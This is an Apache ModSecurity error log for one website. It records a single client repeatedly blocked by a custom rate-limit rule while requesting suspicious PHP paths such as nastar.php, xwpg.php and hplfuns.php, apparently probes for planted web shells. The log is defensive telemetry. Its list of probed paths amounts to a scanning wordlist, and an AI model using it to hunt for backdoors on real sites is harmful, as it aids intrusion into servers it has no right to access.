[Thu Apr 23 23:41:24.850173 2026] [:error] [pid 42972:tid 43037] [client 74.234.74.247:4059] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "aeo9pMOAb-3sOknsk4du4QAAAFU"]
[Thu Apr 23 23:41:32.482847 2026] [:error] [pid 59700:tid 59724] [client 74.234.74.247:4055] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aeo9rJXyGZJFeAIDWtlGWQAAAVY"]
[Thu Apr 23 23:41:33.029329 2026] [:error] [pid 65000:tid 65029] [client 74.234.74.247:3978] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aeo9rb6vRb9j6psK2ZbigAAAAgA"]
[Thu Apr 23 23:41:34.134690 2026] [:error] [pid 42972:tid 43027] [client 74.234.74.247:4085] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aeo9rsOAb-3sOknsk4du5QAAAEs"]
[Thu Apr 23 23:41:34.683261 2026] [:error] [pid 64967:tid 64974] [client 74.234.74.247:3973] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aeo9roAV4GfOOdX8QzqFLgAAAYU"]
[Thu Apr 23 23:41:35.223597 2026] [:error] [pid 59700:tid 59714] [client 74.234.74.247:4090] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeo9r5XyGZJFeAIDWtlGXAAAAUw"]
[Thu Apr 23 23:41:35.755813 2026] [:error] [pid 43083:tid 43099] [client 74.234.74.247:9398] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeo9rzC5hrvNXosL83KNRAAAAM4"]
[Thu Apr 23 23:41:36.262648 2026] [:error] [pid 64967:tid 64985] [client 74.234.74.247:9416] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeo9sIAV4GfOOdX8QzqFNAAAAZA"]
[Thu Apr 23 23:41:36.805637 2026] [:error] [pid 59700:tid 59707] [client 74.234.74.247:9356] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeo9sJXyGZJFeAIDWtlGYAAAAUU"]
[Thu Apr 23 23:41:37.369531 2026] [:error] [pid 64967:tid 64979] [client 74.234.74.247:9390] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aeo9sYAV4GfOOdX8QzqFNgAAAYo"]
[Thu Apr 23 23:41:37.900283 2026] [:error] [pid 42972:tid 43030] [client 74.234.74.247:4053] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aeo9scOAb-3sOknsk4du5wAAAE4"]
[Thu Apr 23 23:41:38.470283 2026] [:error] [pid 64998:tid 65020] [client 74.234.74.247:4081] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aeo9soV5EysYcTLjmwjAVQAAAdI"]
[Thu Apr 23 23:41:39.033856 2026] [:error] [pid 64998:tid 65023] [client 74.234.74.247:4048] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aeo9s4V5EysYcTLjmwjAWAAAAdU"]
[Thu Apr 23 23:41:39.604678 2026] [:error] [pid 64998:tid 65014] [client 74.234.74.247:4079] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "aeo9s4V5EysYcTLjmwjAXAAAAcw"]
[Thu Apr 23 23:41:40.159581 2026] [:error] [pid 64998:tid 65008] [client 74.234.74.247:9425] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "aeo9tIV5EysYcTLjmwjAYAAAAcY"]
[Thu Apr 23 23:41:40.680411 2026] [:error] [pid 43083:tid 43093] [client 74.234.74.247:4006] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "aeo9tDC5hrvNXosL83KNRQAAAMg"]
[Thu Apr 23 23:41:41.208037 2026] [:error] [pid 42971:tid 42997] [client 74.234.74.247:4041] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "aeo9tTEP2_5RswrH8bE66QAAAAs"]
[Thu Apr 23 23:41:41.744748 2026] [:error] [pid 46953:tid 46971] [client 74.234.74.247:9378] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/144.php"] [unique_id "aeo9tUnlpdHh-P6wKbpTJQAAAk8"]
[Thu Apr 23 23:41:42.276140 2026] [:error] [pid 42971:tid 42989] [client 74.234.74.247:4040] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/144.php"] [unique_id "aeo9tjEP2_5RswrH8bE66wAAAAM"]
[Thu Apr 23 23:41:42.800902 2026] [:error] [pid 43083:tid 43091] [client 74.234.74.247:9429] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/144.php"] [unique_id "aeo9tjC5hrvNXosL83KNRgAAAMY"]
[Thu Apr 23 23:41:43.307406 2026] [:error] [pid 42971:tid 43008] [client 74.234.74.247:3975] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/144.php"] [unique_id "aeo9tzEP2_5RswrH8bE67AAAABY"]
[Thu Apr 23 23:41:43.842068 2026] [:error] [pid 64967:tid 64970] [client 74.234.74.247:9351] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "aeo9t4AV4GfOOdX8QzqFOQAAAYE"]
[Thu Apr 23 23:41:44.954673 2026] [:error] [pid 64998:tid 65005] [client 74.234.74.247:3979] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "aeo9uIV5EysYcTLjmwjAawAAAcM"]
[Thu Apr 23 23:41:45.494906 2026] [:error] [pid 64998:tid 65008] [client 74.234.74.247:3974] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "aeo9uYV5EysYcTLjmwjAbwAAAcY"]
[Thu Apr 23 23:41:46.023603 2026] [:error] [pid 42971:tid 43009] [client 74.234.74.247:4069] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "aeo9ujEP2_5RswrH8bE67QAAABc"]
[Thu Apr 23 23:41:46.579867 2026] [:error] [pid 59700:tid 59710] [client 74.234.74.247:9372] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "aeo9upXyGZJFeAIDWtlGagAAAUg"]
[Thu Apr 23 23:41:48.146531 2026] [:error] [pid 65000:tid 65031] [client 74.234.74.247:9405] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "aeo9vL6vRb9j6psK2ZbijgAAAgI"]
[Thu Apr 23 23:41:48.712948 2026] [:error] [pid 65000:tid 65048] [client 74.234.74.247:4071] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "aeo9vL6vRb9j6psK2ZbikQAAAg8"]
[Thu Apr 23 23:41:49.254833 2026] [:error] [pid 65000:tid 65032] [client 74.234.74.247:4022] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "aeo9vb6vRb9j6psK2ZbikwAAAgM"]
[Thu Apr 23 23:41:49.804711 2026] [:error] [pid 46953:tid 46960] [client 74.234.74.247:4092] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aeo9vUnlpdHh-P6wKbpTKQAAAkQ"]
[Thu Apr 23 23:41:51.357638 2026] [:error] [pid 65000:tid 65050] [client 74.234.74.247:3927] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aeo9v76vRb9j6psK2ZbilQAAAhE"]
[Thu Apr 23 23:41:51.879625 2026] [:error] [pid 59700:tid 59706] [client 74.234.74.247:3973] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aeo9v5XyGZJFeAIDWtlGawAAAUQ"]
[Thu Apr 23 23:41:52.532443 2026] [:error] [pid 43083:tid 43102] [client 74.234.74.247:3983] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aeo9wDC5hrvNXosL83KNSwAAANE"]
[Thu Apr 23 23:41:53.078563 2026] [:error] [pid 64998:tid 65024] [client 74.234.74.247:9468] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aeo9wYV5EysYcTLjmwjAfQAAAdY"]
[Thu Apr 23 23:41:53.626088 2026] [:error] [pid 64998:tid 65011] [client 74.234.74.247:3923] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aeo9wYV5EysYcTLjmwjAfwAAAck"]
[Thu Apr 23 23:41:54.159808 2026] [:error] [pid 65000:tid 65052] [client 74.234.74.247:9403] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aeo9wr6vRb9j6psK2ZbioAAAAhM"]
[Thu Apr 23 23:41:54.716976 2026] [:error] [pid 65000:tid 65054] [client 74.234.74.247:9393] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aeo9wr6vRb9j6psK2ZbipAAAAhU"]
[Thu Apr 23 23:41:55.252929 2026] [:error] [pid 64998:tid 65025] [client 74.234.74.247:3906] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aeo9w4V5EysYcTLjmwjAhAAAAdc"]
[Thu Apr 23 23:41:56.367972 2026] [:error] [pid 65000:tid 65049] [client 74.234.74.247:3998] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aeo9xL6vRb9j6psK2ZbipwAAAhA"]
[Thu Apr 23 23:41:57.506332 2026] [:error] [pid 65000:tid 65031] [client 74.234.74.247:4080] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aeo9xb6vRb9j6psK2ZbiqwAAAgI"]
[Thu Apr 23 23:41:58.072917 2026] [:error] [pid 59700:tid 59724] [client 74.234.74.247:3999] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aeo9xpXyGZJFeAIDWtlGbQAAAVY"]
[Thu Apr 23 23:41:59.371573 2026] [:error] [pid 64998:tid 65013] [client 74.234.74.247:3922] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aeo9x4V5EysYcTLjmwjAjgAAAcs"]
[Thu Apr 23 23:41:59.939303 2026] [:error] [pid 59700:tid 59704] [client 74.234.74.247:4018] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aeo9x5XyGZJFeAIDWtlGcgAAAUI"]
[Thu Apr 23 23:42:00.494992 2026] [:error] [pid 64998:tid 65012] [client 74.234.74.247:4075] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aeo9yIV5EysYcTLjmwjAkgAAAco"]
[Thu Apr 23 23:42:01.049062 2026] [:error] [pid 65000:tid 65030] [client 74.234.74.247:3919] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aeo9yb6vRb9j6psK2ZbisAAAAgE"]
[Thu Apr 23 23:42:01.569525 2026] [:error] [pid 42972:tid 43035] [client 74.234.74.247:3908] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aeo9ycOAb-3sOknsk4du-AAAAFM"]
[Thu Apr 23 23:42:02.144667 2026] [:error] [pid 42972:tid 43040] [client 74.234.74.247:4051] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aeo9ysOAb-3sOknsk4du-gAAAFg"]
[Thu Apr 23 23:42:02.664203 2026] [:error] [pid 65000:tid 65041] [client 74.234.74.247:4049] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aeo9yr6vRb9j6psK2ZbisgAAAgg"]
[Thu Apr 23 23:42:03.279053 2026] [:error] [pid 42972:tid 43019] [client 74.234.74.247:4070] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aeo9y8OAb-3sOknsk4du-wAAAEM"]
[Thu Apr 23 23:42:03.815646 2026] [:error] [pid 64998:tid 65024] [client 74.234.74.247:4044] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aeo9y4V5EysYcTLjmwjAnQAAAdY"]
[Thu Apr 23 23:42:04.368937 2026] [:error] [pid 64998:tid 65007] [client 74.234.74.247:9448] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aeo9zIV5EysYcTLjmwjAogAAAcU"]
[Thu Apr 23 23:42:04.892535 2026] [:error] [pid 25635:tid 25652] [client 74.234.74.247:4024] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aeo9zMRxv6UsgRGKB3JANAAAAQ0"]
[Thu Apr 23 23:42:05.445802 2026] [:error] [pid 25635:tid 25648] [client 74.234.74.247:3911] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aeo9zcRxv6UsgRGKB3JANQAAAQk"]
[Thu Apr 23 23:42:05.964207 2026] [:error] [pid 25635:tid 25659] [client 74.234.74.247:4003] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aeo9zcRxv6UsgRGKB3JANgAAARQ"]
[Thu Apr 23 23:42:06.478159 2026] [:error] [pid 42973:tid 43060] [client 74.234.74.247:4010] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aeo9zm6I0QqmmmLTHE1ESAAAAJE"]
